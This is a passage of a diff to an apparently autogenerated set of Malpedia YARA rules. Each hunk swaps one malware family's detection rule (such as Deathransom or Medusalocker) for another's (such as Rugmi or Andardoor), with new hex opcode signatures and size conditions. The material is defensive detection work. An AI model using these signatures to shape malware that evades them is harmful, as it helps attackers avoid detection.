} - $sequence_3 = { 50 b9???????? c7442454ffffffff e8???????? 46 3bf7 } - $sequence_4 = { 56 8bc8 e8???????? eb02 33c0 89442410 8d442410 } - $sequence_5 = { 5f 5e 59 c21000 53 8bfb 53 } - $sequence_6 = { 83c404 894de8 c645fc01 3bce 7417 e8???????? 8b4df4 } - $sequence_7 = { ffd3 8d442434 68???????? 50 ff15???????? 68???????? 8d8c2444010000 } - $sequence_8 = { 888654720000 66099652720000 3c08 76bc 0fb78652720000 808654720000f8 0fb7c8 } - $sequence_9 = { 894e0c 8b5010 895610 8b4814 894e14 8b5018 895618 } + $sequence_0 = { 8b4dfc 8b11 c6420603 8b45fc 8b08 c6410783 8b55fc } + $sequence_1 = { ebcc 8b4508 8b8848010100 8b55f4 } + $sequence_2 = { 894a0c 8b55f8 8b02 8b4d20 8b5108 895008 8b45f8 } + $sequence_3 = { 8b4508 8945fc 8b4d0c 894df8 837d0800 7414 } + $sequence_4 = { e8???????? 83c404 85c0 7636 68???????? 8b4508 } + $sequence_5 = { 52 e8???????? 8b4508 83780800 } + $sequence_6 = { 694d18a0860100 034d1c 8b55fc 894a14 8b45fc 8be5 } + $sequence_7 = { 50 e8???????? 8b4dec 894110 8b55fc 83c201 8955fc } + $sequence_8 = { a1???????? 8945e0 8b0d???????? 894de4 8a15???????? 8855e8 8d45d8 } + $sequence_9 = { e9???????? 68???????? e8???????? 50 e8???????? 83c408 6a08 } condition: - 7 of them and filesize < 452608 + 7 of them and filesize < 100352 } -rule MALPEDIA_Win_Heyoka_Auto : FILE +rule MALPEDIA_Win_Rugmi_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "374fa72e-9fa9-57de-876f-40244ff261b7" + id = "56dfd636-865d-5e6b-99e2-82ed18d11802" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.heyoka" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.heyoka_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rugmi" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rugmi_auto.yar#L1-L132" license_url = "N/A" - logic_hash = "3a5efb9930b3bae06b8a8e2c4e2b028b7e1db66cce7d680b56a42e4a7b874053" + logic_hash = "6414237b4a37eccf99db6de8d88a3ab9402e6945fd1a3f91716e86d56c16f3fa" score = 75 quality = 75 tags = "FILE" @@ -101996,32 +102189,32 @@ rule MALPEDIA_Win_Heyoka_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? ff15???????? b801000000 5d c3 55 8bec } - $sequence_1 = { 8b5118 895018 a1???????? 8b4dfc 894818 8b55fc 8915???????? } - $sequence_2 = { 0345f8 8a4df1 8848ff 8b55f8 3b550c 7c02 eb02 } - $sequence_3 = { 8bec 8b4508 33c9 8a480c 51 8b5508 83c20d } - $sequence_4 = { 8b45ec 8945f4 8b4df7 81e1ff000000 51 8b55f6 81e2ff000000 } - $sequence_5 = { 8b0d???????? 894df8 683f420f00 6a00 8b15???????? 52 e8???????? } - $sequence_6 = { 8bec 81ec18040000 57 c685f0fbffff00 b9ff000000 33c0 8dbdf1fbffff } - $sequence_7 = { 8bc3 885d0b c1e808 88450a 0fb6c0 f68061d7011004 } - $sequence_8 = { 8b7508 8b06 8945c0 3bc3 7545 8d45c0 50 } - $sequence_9 = { 8b5590 83c201 895590 8b4590 3b4510 0f87ab000000 8b4d0c } + $sequence_0 = { 33db 395d08 0f94c3 8b4518 8b4d08 8908 8bc3 } + $sequence_1 = { 8b7704 eb14 85c0 0f8535010000 56 57 e8???????? } + $sequence_2 = { 3bcb 726f 8b7514 8b5d10 8bc1 0bc2 7508 } + $sequence_3 = { 7507 b8074c0000 c9 c3 8d45e0 50 68???????? } + $sequence_4 = { 894d08 8d56bc 0f45fa 68???????? 03f9 e8???????? 8b7510 } + $sequence_5 = { 5d c3 837d08ff 0f84b4090000 e9???????? 55 8bec } + $sequence_6 = { 395e3c 7520 85ff 0f841c010000 6a0a 68???????? } + $sequence_7 = { 88834d020000 8b84b350010000 83f8ff 7413 50 53 57 } + $sequence_8 = { 8955e4 c645fc00 8d4dcc e8???????? c745fcffffffff 8d8d70ffffff } + $sequence_9 = { 56 c687cf0c000000 68???????? e9???????? 6a02 59 6a17 } condition: - 7 of them and filesize < 270336 + 7 of them and filesize < 950272 } -rule MALPEDIA_Win_Deathransom_Auto : FILE +rule MALPEDIA_Win_Supper_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "50ee2015-88b7-58a2-ad62-287a84416fd8" + id = "15a5fdcc-983f-545a-acdb-1425e0080fb1" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.deathransom" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.deathransom_auto.yar#L1-L132" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.supper" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.supper_auto.yar#L1-L164" license_url = "N/A" - logic_hash = "4fbf584c560c10f65d1ed9a5619731c7c654805433383d8df8efbda5a45512a6" + logic_hash = "609470a8924c4445e40bf6082d5cbc00c8d1a1556bb0036cf2444493aad439fc" score = 75 quality = 75 tags = "FILE" @@ -102035,32 +102228,38 @@ rule MALPEDIA_Win_Deathransom_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 668945d8 8d55d8 8b45f4 52 6a00 68???????? 8b08 } - $sequence_1 = { 03d6 8bc1 8b75c8 03da c1c00d 8bd1 } - $sequence_2 = { 8b75d4 c1c90e 33c8 836dc001 894ddc 894dbc 8b4df8 } - $sequence_3 = { ffd7 50 ffd6 ff75d8 6a00 ffd7 50 } - $sequence_4 = { 894108 eb03 8b7df8 56 6a00 ff15???????? 8b35???????? } - $sequence_5 = { 33c8 8bc3 034dcc 33c6 2345e4 33c3 03c1 } - $sequence_6 = { f7d8 837b0400 5f 0f4dc6 5e 894304 5b } - $sequence_7 = { 894db8 0fb64a38 c1e108 0bc8 0fb6423a c1e108 0bc8 } - $sequence_8 = { 33c8 8b7de4 03ca 8b5df4 8b55dc 8bc6 } - $sequence_9 = { 33c2 8b55dc 8945e4 8d0413 c1c007 3345cc 03d0 } + $sequence_0 = { baffffffff 89cb 488b0d???????? ff15???????? } + $sequence_1 = { 74ed 8844242f e8???????? 0fb644242f 48c705????????00000000 4883c438 } + $sequence_2 = { 488905???????? e8???????? 84c0 7407 4883c438 5b } + $sequence_3 = { 488905???????? ffd6 48891d???????? 488905???????? } + $sequence_4 = { 4889cb 31c9 ffd6 4531c0 31d2 31c9 } + $sequence_5 = { 488905???????? 31c0 4883c428 5b 5e c3 } + $sequence_6 = { ba01000000 4c8b25???????? 41ffd4 85c0 } + $sequence_7 = { 4531c0 488b4b08 ba01000000 41ffd4 85c0 } + $sequence_8 = { e8???????? 488b4510 488b00 4885c0 } + $sequence_9 = { 0fb700 0fb7d0 488b85c0000000 4883c004 4189d0 } + $sequence_10 = { 66894510 c645ff00 488b05???????? baffffffff } + $sequence_11 = { 4883bdc000000000 750a b800000000 e9???????? 488b85c0000000 } + $sequence_12 = { ba04000000 4889c1 e8???????? 488b85e0000000 } + $sequence_13 = { 4889c1 e8???????? 8b45dc 89c0 4889c1 e8???????? } + $sequence_14 = { c744242004000000 4989d1 41b801000000 ba06000000 4889c1 e8???????? } + $sequence_15 = { c3 55 4881ec50010000 488dac2480000000 48898de0000000 488b85e0000000 0fb7400c } condition: - 7 of them and filesize < 133120 + 7 of them and filesize < 517120 } -rule MALPEDIA_Win_Shakti_Auto : FILE +rule MALPEDIA_Win_Sneepy_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "46b500e9-a975-5cdc-a985-5108deee61aa" + id = "c029590c-a1be-50f8-80cf-c12927fcf1f6" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.shakti" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.shakti_auto.yar#L1-L175" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sneepy" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sneepy_auto.yar#L1-L120" license_url = "N/A" - logic_hash = "b5c0b26c5dc41457d9e16bd381b5ef6f5c4b5edd5ff24e7078690fca0d450c8b" + logic_hash = "978ba91f40e008ec1e688527edb2f9c28d926adc71b28f1ad0432cb8831f1c4c" score = 75 quality = 75 tags = "FILE" @@ -102074,38 +102273,32 @@ rule MALPEDIA_Win_Shakti_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 894df0 e9???????? 8b55fc 83c214 } - $sequence_1 = { 894dfc e9???????? 8b55f8 8b45d8 } - $sequence_2 = { 8945ec 8b4dec 8b55c0 0311 8955d0 8b45d0 8b4dc0 } - $sequence_3 = { 894dcc 8b55fc 83c208 8955f0 8b45cc } - $sequence_4 = { 8b4de0 8b11 8955e0 e9???????? 8b45d8 } - $sequence_5 = { 894df0 8b55fc 8b45d8 034210 8945e0 8b4de0 } - $sequence_6 = { 0311 8b45e0 8910 eb1e 8b4de0 8b55d8 0311 } - $sequence_7 = { 8955f8 8b45f8 813850450000 7502 eb0b 8b4dc0 83e901 } - $sequence_8 = { ff75f4 8b35???????? ffd6 53 ff750c 8945f4 } - $sequence_9 = { 50 ff7594 e8???????? 2b7598 ff7598 } - $sequence_10 = { 8945f8 8b801c090000 8945fc ff75f8 68edacef0d 8b45fc ffd0 } - $sequence_11 = { 894810 894808 c3 56 } - $sequence_12 = { 3b1cfdb0a24000 7409 47 897dfc 83ff17 72ee 83ff17 } - $sequence_13 = { 66837d6c01 7308 893d???????? eb14 8b07 a3???????? 833d????????ff } - $sequence_14 = { 83ec1c 53 8b1d???????? 85db 0f84dd000000 8d45e4 } - $sequence_15 = { 0f848a000000 ff750c 8d45f8 ff7508 8d4df0 e8???????? } + $sequence_0 = { 51 c3 8bff 55 8bec b8e41a0000 e8???????? } + $sequence_1 = { 6888130000 ffd6 68???????? c705????????e8d44000 e8???????? 83c404 } + $sequence_2 = { 8b4dfc 33c0 83ff01 5b 0f94c0 } + $sequence_3 = { c1fa05 8b149560314100 59 c1e006 59 8a4dff 80c901 } + $sequence_4 = { 52 8945dc c745c801000000 8975cc } + $sequence_5 = { 89b5c0feffff 46 83fe07 7cdf } + $sequence_6 = { 85c0 7459 81bdb0feffffc8000000 7526 8b3d???????? 8d8dc0feffff 51 } + $sequence_7 = { e8???????? 8bc6 c1f805 8b048560314100 } + $sequence_8 = { 83e103 f3a4 8d8df0feffff 68???????? 51 e8???????? } + $sequence_9 = { 33c0 8945e4 83f805 7d10 668b4c4310 66890c4514314100 } condition: - 7 of them and filesize < 191488 + 7 of them and filesize < 188416 } -rule MALPEDIA_Win_Chinad_Auto : FILE +rule MALPEDIA_Win_Romeos_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "bcb15e04-b813-5c23-a320-19f34e438aaa" + id = "57e36ea9-25df-5535-9507-4e3e8861391a" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.chinad" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.chinad_auto.yar#L1-L129" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.romeos" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.romeos_auto.yar#L1-L118" license_url = "N/A" - logic_hash = "68dce9aa3cd2233ae8311dfd66d73079e3ad26ce882f6e912148b0f3a7f1f190" + logic_hash = "b103a70d5f0d023abb4fa14da56c910d4eba9e43552b97af05cf92b055758e46" score = 75 quality = 75 tags = "FILE" @@ -102119,32 +102312,32 @@ rule MALPEDIA_Win_Chinad_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 0facde15 83c007 c1fb15 50 89b574ffffff 899d44ffffff e8???????? } - $sequence_1 = { 2385d4feffff 8d93f36f2e68 8985d8feffff 8bc6 2385b8feffff 0985d8feffff 8bc7 } - $sequence_2 = { c64418050a 745a 8b048d88ec4300 8a441825 3c0a } - $sequence_3 = { 8d8534ffffff 50 e8???????? 8d8534ffffff 50 e8???????? 83c430 } - $sequence_4 = { 13bd2cfdffff 81c3281e6323 81d7faffbe90 019d14fdffff 11bd38fdffff } - $sequence_5 = { 898508fdffff 8b8514fdffff 33ff 898d2cfdffff 33d2 8b8d38fdffff } - $sequence_6 = { 0facca08 8975fc c1e908 8850f8 8bce 8bd3 0facca10 } - $sequence_7 = { 50 e8???????? 8b4dec 33c8 8b4514 03c1 894dec } - $sequence_8 = { 8b8d9cfeffff 898d9cfeffff 8b9594feffff 899590feffff 8b8598feffff 898594feffff 8b8da4feffff } - $sequence_9 = { 8b8520fdffff 0bd1 319508fdffff 33d2 8b8d18fdffff 8bf1 0fa4c119 } + $sequence_0 = { 5e 5d 5b 81c438200000 c20400 5f 5e } + $sequence_1 = { 83c408 807c24480e 7406 43 83fb08 7cb6 e8???????? } + $sequence_2 = { 85c0 0f85ef000000 85db 751d 807c244802 0f85e0000000 } + $sequence_3 = { 50 bd30000000 e8???????? 8bbc2454200000 } + $sequence_4 = { 83c408 807c24480e 7406 43 } + $sequence_5 = { 7406 43 83fb08 7cb6 e8???????? 99 } + $sequence_6 = { 6a16 8d4c244c 6800200000 51 } + $sequence_7 = { 81c438200000 c20400 5f 5e } + $sequence_8 = { 8bf1 57 b9ff070000 33c0 8d7c2449 c644244800 6a16 } + $sequence_9 = { 0f850d010000 33db 6a16 8d4c244c 6800200000 } condition: - 7 of them and filesize < 598016 + 7 of them and filesize < 294912 } -rule MALPEDIA_Win_Mmon_Auto : FILE +rule MALPEDIA_Win_Stormwind_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "4eb1ee5b-1ba9-50c6-ae95-4549a25a6630" + id = "5af12011-3b11-5340-9f55-c2d59a09e295" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mmon" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mmon_auto.yar#L1-L122" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.stormwind" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.stormwind_auto.yar#L1-L124" license_url = "N/A" - logic_hash = "76045ffea1c47426874a11f386aa4b20c1d58a676ebe84d462f434375b141ab2" + logic_hash = "0edc5101ea908b3c6d0ede012ca9b7d0ba4e1d8697013b724d36791523c87635" score = 75 quality = 75 tags = "FILE" @@ -102158,34 +102351,34 @@ rule MALPEDIA_Win_Mmon_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8bf8 8b4710 3bc8 770d 83c8ff 8bf7 e8???????? } - $sequence_1 = { 837e0800 7610 8b4608 8d80ec584200 fe08 803800 } - $sequence_2 = { e8???????? ebd2 8bc3 c1f805 8d3c85606a4200 8bf3 83e61f } - $sequence_3 = { ff15???????? 899ec0000000 899ec4000000 c786c8000000e0e74100 c786cc00000068ec4100 c786d0000000e8ed4100 } - $sequence_4 = { 68???????? 8d4df4 51 c745f440e24100 } - $sequence_5 = { 8bc8 894de4 85c9 747b 8b55d4 85d2 } - $sequence_6 = { 83e71f c1e706 8b0485606a4200 8d44380c } - $sequence_7 = { 8bc8 c1f905 8d3c8d606a4200 8bf0 83e61f c1e606 8b0f } - $sequence_8 = { 8b0d???????? 85c9 7406 8b55ec } - $sequence_9 = { 6a00 8bf1 c745d000000000 ff15???????? 8bf8 33c0 4f } + $sequence_0 = { eb87 85db 7483 8b7d08 8d7308 } + $sequence_1 = { 83663800 83630800 e8???????? e8???????? c3 833d????????00 746e } + $sequence_2 = { eb5c 8b45f4 8b0c85d8310510 f644190448 7437 8a06 } + $sequence_3 = { 8908 8d5602 8d4d0c e8???????? 8d4df0 83c404 } + $sequence_4 = { 8b06 83c41c 8bc8 8d7901 } + $sequence_5 = { e9???????? c745dca43e0410 8b4508 8b7510 dd00 dc4df8 } + $sequence_6 = { 8b7510 85f6 0f847f010000 8b5e14 85db 0f8874010000 } + $sequence_7 = { 53 e8???????? 8bf0 83c404 8975e8 6a00 6a00 } + $sequence_8 = { 751b 8b450c 891f 8918 8bc7 8b4df4 } + $sequence_9 = { 8bf8 59 83ffff 7407 8b34bd286c0410 56 e8???????? } condition: - 7 of them and filesize < 356352 + 7 of them and filesize < 741376 } -rule MALPEDIA_Win_Heriplor_Auto : FILE +rule MALPEDIA_Win_Andardoor_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "fea80a8c-f479-5ce5-81b4-e326d3255abd" + id = "36610ce1-8689-5760-8490-3c048dd08128" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.heriplor" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.heriplor_auto.yar#L1-L120" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.andardoor" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.andardoor_auto.yar#L1-L121" license_url = "N/A" - logic_hash = "bcabe5553c3788da5ec383050fc0580bed7efb49f5fdd5cfd8664f6ebd97276a" + logic_hash = "77bea7a2d8aed8c22ef97e06e53b736b63004170333d5461958719ea43d8bb7c" score = 75 - quality = 73 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -102197,32 +102390,32 @@ rule MALPEDIA_Win_Heriplor_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 84c9 740d 80c960 01cb } - $sequence_1 = { 56 57 33c9 648b4130 8b400c } - $sequence_2 = { 7420 46 46 46 46 } - $sequence_3 = { 8a08 84c9 740d 80c960 } - $sequence_4 = { 8b0491 01f8 5f 5e 89ec 5d c20800 } - $sequence_5 = { 43 ebe6 33d2 668b13 } - $sequence_6 = { 3b5d0c 7401 40 5b 59 89ec 5d } - $sequence_7 = { 5d c20c00 55 89e5 56 57 33c9 } - $sequence_8 = { 01fb 8b32 01fe 6a01 ff750c 56 e8???????? } - $sequence_9 = { 43 ebe6 33d2 668b13 8b0491 01f8 } + $sequence_0 = { e8???????? eb7d 33d2 488d8db0030000 41b808020000 e8???????? 33d2 } + $sequence_1 = { 90 0fb7840da8030000 6689840dd0040000 488d4902 6685c0 75e7 } + $sequence_2 = { 75f4 4c8d043f 488d9560030000 488d4c2468 e8???????? 488b35???????? } + $sequence_3 = { 488b05???????? 4833c4 4889842450400000 33c0 } + $sequence_4 = { 482bfe 0f1f4000 660f1f840000000000 0fb701 } + $sequence_5 = { 4d894bc8 458a4b28 498943e8 488b8424b0000000 498953b8 498d53b8 4d8943c0 } + $sequence_6 = { 488d4c2440 ff15???????? 85c0 7551 } + $sequence_7 = { 488bc8 e8???????? e8???????? 488b0d???????? 488d542450 4881c108020000 c744245004010000 } + $sequence_8 = { 498bc8 498bd8 e8???????? 33c9 85c0 } + $sequence_9 = { 4883cfff 0f1f8000000000 664439647802 488d7f01 75f4 4c8d043f 488d9560030000 } condition: - 7 of them and filesize < 49152 + 7 of them and filesize < 339968 } -rule MALPEDIA_Win_Medusalocker_Auto : FILE +rule MALPEDIA_Win_Flash_Develop_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "9e990ab4-0b70-5ed2-9c4d-a3d81f9ab05c" + id = "4688ecaa-1305-56f1-b990-d34d1967b3cd" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.medusalocker" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.medusalocker_auto.yar#L1-L123" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.flash_develop" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.flash_develop_auto.yar#L1-L125" license_url = "N/A" - logic_hash = "1656532605d9f1886fe3ced1ab1c80cac05eec34432a579d536b1abe4c8a22b3" + logic_hash = "1b0b49a0bdf8cbe355d0f549d184abf36cc5a8a27ac3e4b70ddcdc76ec6e38f0" score = 75 quality = 75 tags = "FILE" @@ -102236,34 +102429,34 @@ rule MALPEDIA_Win_Medusalocker_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 83c408 8b5004 52 8b00 50 8d4dd8 e8???????? } - $sequence_1 = { e8???????? c745fcffffffff 8d4d08 e8???????? 8a45eb } - $sequence_2 = { eb24 33c9 894ddc 8d4ddc e8???????? 8945e0 } - $sequence_3 = { 05c8000000 8bc8 e8???????? 6a10 e8???????? 83c404 8945ec } - $sequence_4 = { 8d45ec 50 8b4d08 e8???????? 8b4de8 } - $sequence_5 = { ff15???????? 85c0 7575 8b45c0 } - $sequence_6 = { 8b4dfc 8b11 8b4dfc 8b4210 ffd0 8be5 5d } - $sequence_7 = { 83ec0c 894dfc 8b45fc 50 8b4d08 51 e8???????? } - $sequence_8 = { e8???????? 50 8b4dd0 e8???????? 50 } - $sequence_9 = { e8???????? 8b4df0 e8???????? c745fcffffffff 8d4d08 e8???????? } + $sequence_0 = { 55 56 33c9 57 0fb68170034200 99 8bf0 } + $sequence_1 = { 33fa 0fa4f708 c1e608 8934cd40484800 99 } + $sequence_2 = { c78424c8020000e0b04600 c78424cc02000068df4600 c78424d0020000b40d4700 c78424d4020000503e4700 c78424d8020000446e4700 c78424dc0200000c9d4700 c78424e0020000b0cc4700 } + $sequence_3 = { 891ccd28184800 892ccd2c184800 0fa4f710 c1e610 33f0 33fa 0fa4f708 } + $sequence_4 = { 33fa c1e308 892ccd2c204800 8bef 0fa4f708 891ccd28204800 8bde } + $sequence_5 = { 893ccd44484800 8bf0 8bfa 0fa4f708 } + $sequence_6 = { 892ccd34204800 8bef 0fa4f708 33fa 891ccd30204800 8bde c1e608 } + $sequence_7 = { c7842464010000240a4200 c7842468010000043a4200 c784246c01000070694200 c7842470010000cc9a4200 } + $sequence_8 = { 0fb68170054200 33ea 0fa4dd10 33fa 99 8934cd28304800 } + $sequence_9 = { 893ccd44404800 83c104 81f900010000 0f8c39f8ffff 5f 5e 5d } condition: - 7 of them and filesize < 1433600 + 7 of them and filesize < 1111040 } -rule MALPEDIA_Win_Dizzyvoid_Auto : FILE +rule MALPEDIA_Win_Mgbot_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "db997ae6-872c-5121-a308-2ff2cf7909e7" + id = "dd03dc94-bb3a-5cad-8f13-4bbe4b7f90a6" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dizzyvoid" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dizzyvoid_auto.yar#L1-L234" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mgbot" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mgbot_auto.yar#L1-L114" license_url = "N/A" - logic_hash = "ee47377d576371e1f242f6668080ed5eb3d7f4fc6edffaf4a1f51714c1f6dc67" + logic_hash = "7310ce51cc81391fc78e9881bf8f490b2a783d4789728f7661df3e6bdca512d7" score = 75 - quality = 73 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -102275,46 +102468,32 @@ rule MALPEDIA_Win_Dizzyvoid_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 488b8bd0000000 4885c9 7403 ff5350 } - $sequence_1 = { 41c1e11c c1e904 4403c9 498bc8 48c1e902 418bc1 48c1e802 } - $sequence_2 = { 48b865210b59c84216b2 4c2bc1 49f7e8 4903d0 } - $sequence_3 = { 48b865210b59c84216b2 48f7e9 4803d1 48c1fa07 } - $sequence_4 = { 48895c2430 44897c2428 48896c2420 448bce } - $sequence_5 = { 4889442428 c7442420f8080000 4c8d8da0050000 41b806000000 } - $sequence_6 = { 488b8bc8000000 ff5350 90 488b8bd0000000 ff5350 90 488b8bd8000000 } - $sequence_7 = { 0f118980000000 48898190000000 488d0557e5ffff 498b0b } - $sequence_8 = { 8bec 81ec34040000 53 56 57 8dbdccfbffff b90d010000 } - $sequence_9 = { 8b8d90fcffff 51 e8???????? 83c40c 8bf4 } - $sequence_10 = { 7320 8b859cfcffff 0fb68c05a8fcffff 83f104 8b959cfcffff } - $sequence_11 = { 8b4dfc 33cd e8???????? 81c434040000 3bec } - $sequence_12 = { 8bf4 ff9590fcffff 3bf4 e8???????? 33c0 52 8bcd } - $sequence_13 = { 8dbdccfbffff b90d010000 b8cccccccc f3ab a1???????? 33c5 8945fc } - $sequence_14 = { a1???????? a3???????? a1???????? c705????????2a134100 } - $sequence_15 = { c705????????2a134100 8935???????? a3???????? ff15???????? a3???????? 83f8ff 0f84c1000000 } - $sequence_16 = { e8???????? c70016000000 e8???????? ebb4 c745e4700a4100 a1???????? } - $sequence_17 = { 83e908 8d7608 660fd60f 8d7f08 8b048de81f4000 } - $sequence_18 = { 59 8365fc00 8b049d601c4100 f644380401 740b } - $sequence_19 = { c3 8b04c53cb04000 5d c3 55 8bec } - $sequence_20 = { 33f6 e8???????? 83c404 8bf8 6800100000 } - $sequence_21 = { 8d44242c 50 57 46 ffd3 85c0 75f3 } - $sequence_22 = { 888690f54000 46 ebe5 ff35???????? } - $sequence_23 = { 8b04b5601c4100 0500080000 3bc8 7324 66c74104000a } + $sequence_0 = { 8be5 5d c20800 6808020000 e8???????? } + $sequence_1 = { 6808020000 e8???????? 6804010000 8bf0 } + $sequence_2 = { 5d c20800 6808020000 e8???????? } + $sequence_3 = { 6808020000 e8???????? 6804010000 8bf0 6a00 56 e8???????? } + $sequence_4 = { 5b 8be5 5d c20800 6808020000 } + $sequence_5 = { 6808020000 e8???????? 6804010000 8bf0 6a00 } + $sequence_6 = { 0f8553ffffff 5f 33c0 5e } + $sequence_7 = { 8be5 5d c20800 6808020000 } + $sequence_8 = { 6808020000 e8???????? 6804010000 8bf0 6a00 56 } + $sequence_9 = { 5b 8be5 5d c20800 6808020000 e8???????? } condition: - 7 of them and filesize < 479232 + 7 of them and filesize < 1677312 } -rule MALPEDIA_Win_Boxcaon_Auto : FILE +rule MALPEDIA_Win_Underminer_Ek_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "a730ae2b-b623-5088-86a7-4d1a4eb89ea5" + id = "25419d82-2049-52ba-8173-e803bede2897" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.boxcaon" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.boxcaon_auto.yar#L1-L120" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.underminer_ek" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.underminer_ek_auto.yar#L1-L168" license_url = "N/A" - logic_hash = "5b71da83cc61472fd3b6239fea0178674ab4b3cf9a9678dbeeda07cdd88e683a" + logic_hash = "cef777a253424ada6724fda25a7a7fc2a7d290e0894ee3bdc7ea6fd0d09bd9ea" score = 75 quality = 75 tags = "FILE" @@ -102328,32 +102507,38 @@ rule MALPEDIA_Win_Boxcaon_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 897e14 897e70 c686c800000043 c6864b01000043 c7466890b54000 6a0d e8???????? } - $sequence_1 = { 8bd3 66899424e0000000 5a 6a50 66899424e2000000 8bd1 66899424e4000000 } - $sequence_2 = { 8888b8b84000 40 ebe6 ff35???????? } - $sequence_3 = { 8bec 33c0 8b4d08 3b0cc5408a4000 740a } - $sequence_4 = { c78424980000003c000000 ff15???????? 56 33ff } - $sequence_5 = { e8???????? 84c0 741a 8d4c2410 8d8424d8020000 2bc1 } - $sequence_6 = { 89bc24ac000000 89b424b4000000 c78424980000003c000000 ff15???????? } - $sequence_7 = { 33c9 66890c06 68???????? 8d442414 50 e8???????? } - $sequence_8 = { 0020 1f 40 00441f40 0023 d18a0688078a 46 } - $sequence_9 = { 33c0 c7461407000000 668906 8b4508 8b5810 57 } + $sequence_0 = { 56 e8???????? 83c404 53 e8???????? 83c404 8b551c } + $sequence_1 = { 25ffff0000 3d4ee640bb 7404 3bc1 7501 } + $sequence_2 = { 83c40c 66394e06 894d10 7630 83c710 8b07 } + $sequence_3 = { 03c3 8901 eb18 3daafc0d7c } + $sequence_4 = { 7463 8b55f4 8b0495582c4300 f644382848 } + $sequence_5 = { 8ad0 